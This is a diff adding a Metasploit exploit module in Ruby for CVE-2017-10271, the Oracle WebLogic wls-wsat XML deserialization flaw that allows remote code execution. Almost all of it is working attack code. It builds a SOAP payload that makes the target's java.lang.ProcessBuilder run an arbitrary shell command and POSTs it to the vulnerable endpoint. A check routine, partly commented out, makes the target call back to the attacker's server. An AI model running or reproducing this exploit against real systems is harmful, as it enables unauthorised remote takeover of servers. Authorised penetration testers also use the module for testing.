|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + # include Msf::Exploit::Remote::HttpServer |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE', |
| 17 | + 'Description' => %q( |
| 18 | + The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization |
| 19 | + remote code execution vulnerability. Supported versions that are affected are |
| 20 | + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin |
| 21 | + of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT, |
| 22 | + HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check |
| 23 | + and will not be used when executing the exploit itself. |
| 24 | + ), |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => [ |
| 27 | + 'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>', # Metasploit module |
| 28 | + 'Luffin', # Proof of Concept |
| 29 | + 'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin |
| 34 | + ['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept |
| 35 | + ['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit |
| 36 | + ['CVE', '2017-10271'], |
| 37 | + ['EDB', '43458'] |
| 38 | + ], |
| 39 | + 'Platform' => %w{ win unix }, |
| 40 | + 'Arch' => [ ARCH_CMD ], |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ], |
| 44 | + [ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] |
| 45 | + ], |
| 46 | + 'DisclosureDate' => "Oct 19 2017", |
| 47 | + # Note that this is by index, rather than name. It's generally easiest |
| 48 | + # just to put the default at the beginning of the list and skip this |
| 49 | + # entirely. |
| 50 | + 'DefaultTarget' => 0 |
| 51 | + ) |
| 52 | + ) |
| 53 | + |
| 54 | + register_options([ |
| 55 | + OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']), |
| 56 | + OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]), |
| 57 | + OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]), |
| 58 | + # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10]) |
| 59 | + ]) |
| 60 | + end |
| 61 | + |
| 62 | + def cmd_base |
| 63 | + if target['Platform'] == 'win' |
| 64 | + return 'cmd' |
| 65 | + else |
| 66 | + return '/bin/sh' |
| 67 | + end |
| 68 | + end |
| 69 | + |
| 70 | + def cmd_opt |
| 71 | + if target['Platform'] == 'win' |
| 72 | + return '/c' |
| 73 | + else |
| 74 | + return '-c' |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + |
| 79 | + # |
| 80 | + # This generates a XML payload that will execute the desired payload on the RHOST |
| 81 | + # |
| 82 | + def exploit_process_builder_payload |
| 83 | + # Generate a payload which will execute on a *nix machine using /bin/sh |
| 84 | + xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
| 85 | + <soapenv:Header> |
| 86 | + <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> |
| 87 | + <java> |
| 88 | + <void class="java.lang.ProcessBuilder"> |
| 89 | + <array class="java.lang.String" length="3" > |
| 90 | + <void index="0"> |
| 91 | + <string>#{cmd_base}</string> |
| 92 | + </void> |
| 93 | + <void index="1"> |
| 94 | + <string>#{cmd_opt}</string> |
| 95 | + </void> |
| 96 | + <void index="2"> |
| 97 | + <string>#{payload.encoded.encode(xml: :text)}</string> |
| 98 | + </void> |
| 99 | + </array> |
| 100 | + <void method="start"/> |
| 101 | + </void> |
| 102 | + </java> |
| 103 | + </work:WorkContext> |
| 104 | + </soapenv:Header> |
| 105 | + <soapenv:Body/> |
| 106 | +</soapenv:Envelope>} |
| 107 | + end |
| 108 | + |
| 109 | + # |
| 110 | + # This builds a XML payload that will generate a HTTP GET request to our SRVHOST |
| 111 | + # from the target machine. |
| 112 | + # |
| 113 | + def check_process_builder_payload |
| 114 | + xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
| 115 | + <soapenv:Header> |
| 116 | + <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> |
| 117 | + <java version="1.8" class="java.beans.XMLDecoder"> |
| 118 | + <void id="url" class="java.net.URL"> |
| 119 | + <string>#{get_uri.encode(xml: :text)}</string> |
| 120 | + </void> |
| 121 | + <void idref="url"> |
| 122 | + <void id="stream" method = "openStream" /> |
| 123 | + </void> |
| 124 | + </java> |
| 125 | + </work:WorkContext> |
| 126 | + </soapenv:Header> |
| 127 | + <soapenv:Body/> |
| 128 | +</soapenv:Envelope>} |
| 129 | + end |
| 130 | + |
| 131 | + # |
| 132 | + # In the event that a 'check' host responds, we should respond randomly so that we don't clog up |
| 133 | + # the logs too much with a no response error or similar. |
| 134 | + # |
| 135 | + def on_request_uri(cli, request) |
| 136 | + random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>' |
| 137 | + send_response(cli, random_content) |
| 138 | + |
| 139 | + @received_request = true |
| 140 | + end |
| 141 | + |
| 142 | + # |
| 143 | + # The exploit method connects to the remote service and sends a randomly generated string |
| 144 | + # encapsulated within a SOAP XML body. This will start an HTTP server for us to receive |
| 145 | + # the response from. This is based off of the exploit technique from |
| 146 | + # exploits/windows/novell/netiq_pum_eval.rb |
| 147 | + # |
| 148 | + # This doesn't work as is because MSF cannot mix HttpServer and HttpClient |
| 149 | + # at the time of authoring this |
| 150 | + # |
| 151 | + # def check |
| 152 | + # start_service |
| 153 | + # |
| 154 | + # print_status('Sending the check payload...') |
| 155 | + # res = send_request_cgi({ |
| 156 | + # 'method' => 'POST', |
| 157 | + # 'uri' => normalize_uri(target_uri.path), |
| 158 | + # 'data' => check_process_builder_payload, |
| 159 | + # 'ctype' => 'text/xml;charset=UTF-8' |
| 160 | + # }, datastore['TIMEOUT']) |
| 161 | + # |
| 162 | + # print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...") |
| 163 | + # |
| 164 | + # waited = 0 |
| 165 | + # until @received_request |
| 166 | + # sleep 1 |
| 167 | + # waited += 1 |
| 168 | + # if waited > datastore['HTTP_DELAY'] |
| 169 | + # stop_service |
| 170 | + # return Exploit::CheckCode::Safe |
| 171 | + # end |
| 172 | + # end |
| 173 | + # |
| 174 | + # stop_service |
| 175 | + # return Exploit::CheckCode::Vulnerable |
| 176 | + # end |
| 177 | + |
| 178 | + # |
| 179 | + # The exploit method connects to the remote service and sends the specified payload |
| 180 | + # encapsulated within a SOAP XML body. |
| 181 | + # |
| 182 | + def exploit |
| 183 | + send_request_cgi({ |
| 184 | + 'method' => 'POST', |
| 185 | + 'uri' => normalize_uri(target_uri.path), |
| 186 | + 'data' => exploit_process_builder_payload, |
| 187 | + 'ctype' => 'text/xml;charset=UTF-8' |
| 188 | + }, datastore['TIMEOUT']) |
| 189 | + end |
| 190 | +end |
0 commit comments